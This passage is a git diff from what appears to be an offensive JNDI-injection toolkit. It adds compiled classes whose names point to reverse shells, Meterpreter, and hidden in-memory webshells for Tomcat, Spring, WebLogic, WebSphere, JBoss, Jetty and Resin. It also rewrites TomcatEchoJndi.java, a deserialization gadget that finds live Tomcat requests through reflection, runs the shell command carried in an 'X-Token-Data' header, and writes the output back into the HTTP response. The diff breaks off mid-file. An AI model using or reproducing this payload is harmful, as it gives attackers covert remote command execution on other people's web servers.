b/out/production/classes/com/qi4l/jndi/template/Agent/LinMenshell.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/Agent/WinMenshell.class b/out/production/classes/com/qi4l/jndi/template/Agent/WinMenshell.class new file mode 100644 index 0000000..74dd11b Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/Agent/WinMenshell.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/Agent/utli/ClassModifier.class b/out/production/classes/com/qi4l/jndi/template/Agent/utli/ClassModifier.class new file mode 100644 index 0000000..373baff Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/Agent/utli/ClassModifier.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/Agent/utli/SuURLConnection.class b/out/production/classes/com/qi4l/jndi/template/Agent/utli/SuURLConnection.class new file mode 100644 index 0000000..140d60d Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/Agent/utli/SuURLConnection.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/Agent/utli/SuURLStreamHandler.class b/out/production/classes/com/qi4l/jndi/template/Agent/utli/SuURLStreamHandler.class new file mode 100644 index 0000000..7e24b32 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/Agent/utli/SuURLStreamHandler.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/ClassLoaderTemplate.class b/out/production/classes/com/qi4l/jndi/template/ClassLoaderTemplate.class new file mode 100644 index 0000000..0e09898 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/ClassLoaderTemplate.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/CommandTemplate.class b/out/production/classes/com/qi4l/jndi/template/CommandTemplate.class new file mode 100644 index 0000000..e7c24e6 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/CommandTemplate.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/DefineClassFromParameter.class b/out/production/classes/com/qi4l/jndi/template/DefineClassFromParameter.class new file mode 100644 index 0000000..df8f362 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/DefineClassFromParameter.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/DnslogTemplate.class b/out/production/classes/com/qi4l/jndi/template/DnslogTemplate.class new file mode 100644 index 0000000..5bcebce Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/DnslogTemplate.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/DynamicFilterTemplate.class b/out/production/classes/com/qi4l/jndi/template/DynamicFilterTemplate.class new file mode 100644 index 0000000..5643d19 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/DynamicFilterTemplate.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/HideMemShellTemplate.class b/out/production/classes/com/qi4l/jndi/template/HideMemShellTemplate.class new file mode 100644 index 0000000..2f85ebf Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/HideMemShellTemplate.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/MyClassLoader.class b/out/production/classes/com/qi4l/jndi/template/MyClassLoader.class new file mode 100644 index 0000000..6b27910 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/MyClassLoader.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/ReverseShellTemplate.class b/out/production/classes/com/qi4l/jndi/template/ReverseShellTemplate.class new file mode 100644 index 0000000..98db5ae Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/ReverseShellTemplate.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/Template.class b/out/production/classes/com/qi4l/jndi/template/Template.class new file mode 100644 index 0000000..31a5400 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/Template.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/echo/AllEcho.class b/out/production/classes/com/qi4l/jndi/template/echo/AllEcho.class new file mode 100644 index 0000000..7beea99 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echo/AllEcho.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/echo/JbossEcho.class b/out/production/classes/com/qi4l/jndi/template/echo/JbossEcho.class new file mode 100644 index 0000000..f7f5609 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echo/JbossEcho.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/echo/JettyEcho.class b/out/production/classes/com/qi4l/jndi/template/echo/JettyEcho.class new file mode 100644 index 0000000..8bc2574 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echo/JettyEcho.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/echo/LinuxEcho1.class b/out/production/classes/com/qi4l/jndi/template/echo/LinuxEcho1.class new file mode 100644 index 0000000..10aa952 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echo/LinuxEcho1.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/echo/LinuxEcho2.class b/out/production/classes/com/qi4l/jndi/template/echo/LinuxEcho2.class new file mode 100644 index 0000000..a584a68 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echo/LinuxEcho2.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/echo/Meterpreter.class b/out/production/classes/com/qi4l/jndi/template/echo/Meterpreter.class new file mode 100644 index 0000000..7cda945 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echo/Meterpreter.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/echo/ResinEcho.class b/out/production/classes/com/qi4l/jndi/template/echo/ResinEcho.class new file mode 100644 index 0000000..f2585b0 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echo/ResinEcho.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/echo/SpringEcho.class b/out/production/classes/com/qi4l/jndi/template/echo/SpringEcho.class new file mode 100644 index 0000000..344ca01 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echo/SpringEcho.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/echo/TomcatEcho.class b/out/production/classes/com/qi4l/jndi/template/echo/TomcatEcho.class new file mode 100644 index 0000000..1b45135 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echo/TomcatEcho.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/echo/TomcatEchoJndi.class b/out/production/classes/com/qi4l/jndi/template/echo/TomcatEchoJndi.class new file mode 100644 index 0000000..37630fb Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echo/TomcatEchoJndi.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/echo/WindowsEcho.class b/out/production/classes/com/qi4l/jndi/template/echo/WindowsEcho.class new file mode 100644 index 0000000..79dd224 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echo/WindowsEcho.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/echo/weblogicEcho.class b/out/production/classes/com/qi4l/jndi/template/echo/weblogicEcho.class new file mode 100644 index 0000000..bfead32 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echo/weblogicEcho.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/isOK.class b/out/production/classes/com/qi4l/jndi/template/isOK.class new file mode 100644 index 0000000..639e9d6 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/isOK.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/isSuccess.class b/out/production/classes/com/qi4l/jndi/template/isSuccess.class new file mode 100644 index 0000000..a1789f3 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/isSuccess.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/BypassNginxCDN/cmsMSBYNC.class b/out/production/classes/com/qi4l/jndi/template/memshell/BypassNginxCDN/cmsMSBYNC.class new file mode 100644 index 0000000..d16c234 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/BypassNginxCDN/cmsMSBYNC.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC$1.class b/out/production/classes/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC$1.class new file mode 100644 index 0000000..773d0b7 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC$1.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC$2.class b/out/production/classes/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC$2.class new file mode 100644 index 0000000..514e087 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC$2.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC$Attach.class b/out/production/classes/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC$Attach.class new file mode 100644 index 0000000..5b695e8 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC$Attach.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC.class b/out/production/classes/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC.class new file mode 100644 index 0000000..632ce66 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/RMIBindTemplate.class b/out/production/classes/com/qi4l/jndi/template/memshell/RMIBindTemplate.class new file mode 100644 index 0000000..919cdf7 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/RMIBindTemplate.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJproxy.class b/out/production/classes/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJproxy.class new file mode 100644 index 0000000..8c33735 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJproxy.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJser.class b/out/production/classes/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJser.class new file mode 100644 index 0000000..391f9d7 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJser.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/WSFMSFromThread.class b/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/WSFMSFromThread.class new file mode 100644 index 0000000..99db59f Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/WSFMSFromThread.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy$1.class b/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy$1.class new file mode 100644 index 0000000..3affc0c Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy$1.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy$2.class b/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy$2.class new file mode 100644 index 0000000..0490454 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy$2.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy$Attach.class b/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy$Attach.class new file mode 100644 index 0000000..12b8a3e Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy$Attach.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy.class b/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy.class new file mode 100644 index 0000000..c6c305b Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/WebsphereMemshellTemplate.class b/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/WebsphereMemshellTemplate.class new file mode 100644 index 0000000..b857732 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/WebsphereMemshellTemplate.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/websphereEcho.class b/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/websphereEcho.class new file mode 100644 index 0000000..b95819f Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/Websphere/websphereEcho.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/jboss/JBFMSFromContextF.class b/out/production/classes/com/qi4l/jndi/template/memshell/jboss/JBFMSFromContextF.class new file mode 100644 index 0000000..17f24fc Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/jboss/JBFMSFromContextF.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/jboss/JBSMSFromContextS.class b/out/production/classes/com/qi4l/jndi/template/memshell/jboss/JBSMSFromContextS.class new file mode 100644 index 0000000..93e3ce8 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/jboss/JBSMSFromContextS.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/jetty/JFMSFromJMXF.class b/out/production/classes/com/qi4l/jndi/template/memshell/jetty/JFMSFromJMXF.class new file mode 100644 index 0000000..d6eee30 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/jetty/JFMSFromJMXF.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/jetty/JSMSFromJMXS.class b/out/production/classes/com/qi4l/jndi/template/memshell/jetty/JSMSFromJMXS.class new file mode 100644 index 0000000..ef7e207 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/jetty/JSMSFromJMXS.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/resin/RFMSFromThreadF.class b/out/production/classes/com/qi4l/jndi/template/memshell/resin/RFMSFromThreadF.class new file mode 100644 index 0000000..7469536 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/resin/RFMSFromThreadF.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/resin/RSMSFromThreadS.class b/out/production/classes/com/qi4l/jndi/template/memshell/resin/RSMSFromThreadS.class new file mode 100644 index 0000000..256415b Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/resin/RSMSFromThreadS.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/resin/WsResin.class b/out/production/classes/com/qi4l/jndi/template/memshell/resin/WsResin.class new file mode 100644 index 0000000..7bdf3dd Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/resin/WsResin.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/shell/MemShellPayloads$SUO5.class b/out/production/classes/com/qi4l/jndi/template/memshell/shell/MemShellPayloads$SUO5.class new file mode 100644 index 0000000..021872f Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/shell/MemShellPayloads$SUO5.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/shell/MemShellPayloads.class b/out/production/classes/com/qi4l/jndi/template/memshell/shell/MemShellPayloads.class new file mode 100644 index 0000000..befea32 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/shell/MemShellPayloads.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/spring/SpringControllerMS.class b/out/production/classes/com/qi4l/jndi/template/memshell/spring/SpringControllerMS.class new file mode 100644 index 0000000..b00c4cb Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/spring/SpringControllerMS.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/spring/SpringInterceptorMS.class b/out/production/classes/com/qi4l/jndi/template/memshell/spring/SpringInterceptorMS.class new file mode 100644 index 0000000..a31c41b Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/spring/SpringInterceptorMS.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/spring/SpringWebfluxMS.class b/out/production/classes/com/qi4l/jndi/template/memshell/spring/SpringWebfluxMS.class new file mode 100644 index 0000000..3cbdb89 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/spring/SpringWebfluxMS.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/struts2/Struts2ActionMS.class b/out/production/classes/com/qi4l/jndi/template/memshell/struts2/Struts2ActionMS.class new file mode 100644 index 0000000..4d13af8 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/struts2/Struts2ActionMS.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TEXMSFromThread.class b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TEXMSFromThread.class new file mode 100644 index 0000000..7e42a26 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TEXMSFromThread.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestF.class b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestF.class new file mode 100644 index 0000000..b668f00 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestF.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestS.class b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestS.class new file mode 100644 index 0000000..01b6ff7 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestS.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadF.class b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadF.class new file mode 100644 index 0000000..5cbe576 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadF.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadLi.class b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadLi.class new file mode 100644 index 0000000..8af752a Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadLi.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadS.class b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadS.class new file mode 100644 index 0000000..a2b3ae2 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadS.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TLMSFromJMXLi.class b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TLMSFromJMXLi.class new file mode 100644 index 0000000..980e238 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TLMSFromJMXLi.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXF.class b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXF.class new file mode 100644 index 0000000..b6a1dee Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXF.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXS.class b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXS.class new file mode 100644 index 0000000..7cdcdff Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXS.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TUGMSFromJMXuP.class b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TUGMSFromJMXuP.class new file mode 100644 index 0000000..cf3e8f0 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TUGMSFromJMXuP.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TWSMSFromThread.class b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TWSMSFromThread.class new file mode 100644 index 0000000..d19da3e Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/tomcat/TWSMSFromThread.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/memshell/weblogic/WsWeblogic.class b/out/production/classes/com/qi4l/jndi/template/memshell/weblogic/WsWeblogic.class new file mode 100644 index 0000000..0a8acbb Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshell/weblogic/WsWeblogic.class differ diff --git a/src/main/java/com/qi4l/jndi/template/echo/TomcatEchoJndi.java b/src/main/java/com/qi4l/jndi/template/echo/TomcatEchoJndi.java index edbb4f0..ac203c7 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/TomcatEchoJndi.java +++ b/src/main/java/com/qi4l/jndi/template/echo/TomcatEchoJndi.java @@ -5,106 +5,133 @@ import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + +import java.io.ByteArrayOutputStream; +import java.io.InputStream; import java.lang.reflect.Field; import java.util.List; -import java.util.Scanner; public class TomcatEchoJndi extends AbstractTranslet { - public TomcatEchoJndi(){ - try{ - boolean var4 = false; - Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads"); - for(int var6 = 0; var6 < var5.length; ++var6) { - Thread var7 = var5[var6]; - if (var7 != null) { - String var3 = var7.getName(); - if (!var3.contains("exec") && var3.contains("http")) { - Object var1 = getFV(var7, "target"); - if (var1 instanceof Runnable) { - try { - var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global"); - } catch (Exception var13) { - continue; - } + public static String CMD_HEADER = "X-Token-Data"; - List var9 = (List)getFV(var1, "processors"); + public TomcatEchoJndi() { + try { + boolean flag = false; + ThreadGroup group = Thread.currentThread().getThreadGroup(); + ClassLoader loader = Thread.currentThread().getContextClassLoader(); + Field f = group.getClass().getDeclaredField("threads"); + f.setAccessible(true); + Thread[] threads = (Thread[])((Thread[])f.get(group)); - for(int var10 = 0; var10 < var9.size(); ++var10) { - Object var11 = var9.get(var10); - var1 = getFV(var11, "req"); - Object var2 = var1.getClass().getMethod("getResponse").invoke(var1); - var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Testecho"); - if (var3 != null && !var3.isEmpty()) { - var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200)); - var2.getClass().getMethod("addHeader", String.class, String.class).invoke(var2, "Testecho", var3); - var4 = true; + for(int i = 0; i < threads.length; ++i) { + try { + Thread t = threads[i]; + if (t != null) { + String str = t.getName(); + if (!str.contains("exec") && str.contains("http")) { + f = t.getClass().getDeclaredField("target"); + f.setAccessible(true); + Object obj = f.get(t); + if (obj instanceof Runnable) { + f = obj.getClass().getDeclaredField("this$0"); + f.setAccessible(true); + obj = f.get(obj); + + try { + f = obj.getClass().getDeclaredField("handler"); + } catch (NoSuchFieldException var19) { + f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); } - var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "X-Token-Data"); - if (var3 != null && !var3.isEmpty()) { - var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200)); - String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var3} : new String[]{"/bin/sh", "-c", var3}; - writeBody(var2, (new Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next().getBytes()); - var4 = true; + f.setAccessible(true); + obj = f.get(obj); + + try { + f = obj.getClass().getSuperclass().getDeclaredField("global"); + } catch (NoSuchFieldException var18) { + f = obj.getClass().getDeclaredField("global"); } - if ((var3 == null || var3.isEmpty()) && var4) { - writeBody(var2, System.getProperties().toString().getBytes()); + f.setAccessible(true); + obj = f.get(obj); + f = obj.getClass().getDeclaredField("processors"); + f.setAccessible(true); + List processors = (List)((List)f.get(obj)); + + for(int j = 0; j < processors.size(); ++j) { + Object processor = processors.get(j); + f = processor.getClass().getDeclaredField("req"); + f.setAccessible(true); + Object req = f.get(processor); + Object resp = req.getClass().getMethod("getResponse").invoke(req); + str = (String)req.getClass().getMethod("getHeader", String.class).invoke(req, CMD_HEADER); + if (str != null && !str.isEmpty()) { + resp.getClass().getMethod("setStatus", Integer.TYPE).invoke(resp, new Integer(200)); + ByteArrayOutputStream baos = q(str); + + try { + Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk", false, loader); + obj = cls.newInstance(); + cls.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(obj, baos.toByteArray(), new Integer(0), baos.toByteArray().length); + resp.getClass().getMethod("doWrite", cls).invoke(resp, obj); + } catch (NoSuchMethodException var17) { + Class cls = Class.forName("java.nio.ByteBuffer", false, loader); + obj = cls.getDeclaredMethod("wrap", byte[].class).invoke(cls, baos.toByteArray()); + resp.getClass().getMethod("doWrite", cls).invoke(resp, obj); + } + + flag = true; + } + + if (flag) { + break; + } } - if (var4) { + if (flag) { break; } } - - if (var4) { - break; - } } } + } catch (Exception var20) { } } - }catch (Exception e){ - e.printStackTrace(); + } catch (Exception var21) { } } - private static void writeBody(Object var0, byte[] var1) throws Exception { - Object var2; - Class var3; + public static ByteArrayOutputStream q(String var0) { + return execCmd(var0); + } + + public static ByteArrayOutputStream execCmd(String var0) { try { - var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); - var2 = var3.newInstance(); - var3.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var2, var1, new Integer(0), new Integer(var1.length)); - var0.getClass().getMethod("doWrite", var3).invoke(var0, var2); - } catch (NoSuchMethodException var5) { - var3 = Class.forName("java.nio.ByteBuffer"); - var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1); - var0.getClass().getMethod("doWrite", var3).invoke(var0, var2); - } + if (var0 != null && !var0.isEmpty()) { + String[] var1 = null; + if (System.getProperty("os.name").toLowerCase().contains("win")) { + var1 = new String[]{"cmd", "/c", var0}; + } else { + var1 = new String[]{"/bin/bash", "-c", var0}; + } - } + InputStream var2 = Runtime.getRuntime().exec(var1).getInputStream(); + ByteArrayOutputStream var3 = new ByteArrayOutputStream(); + boolean var4 = false; + byte[] var5 = new byte[1024]; - private static Object getFV(Object var0, String var1) throws Exception { - Field var2 = null; - Class var3 = var0.getClass(); + int var8; + while((var8 = var2.read(var5)) != -1) { + var3.write(var5, 0, var8); + } - while(var3 != Object.class) { - try { - var2 = var3.getDeclaredField(var1); - break; - } catch (NoSuchFieldException var5) { - var3 = var3.getSuperclass(); + return var3; } + } catch (Exception var7) { } - if (var2 == null) { - throw new NoSuchFieldException(var1); - } else { - var2.setAccessible(true); - return var2.get(var0); - } + return null; } @Override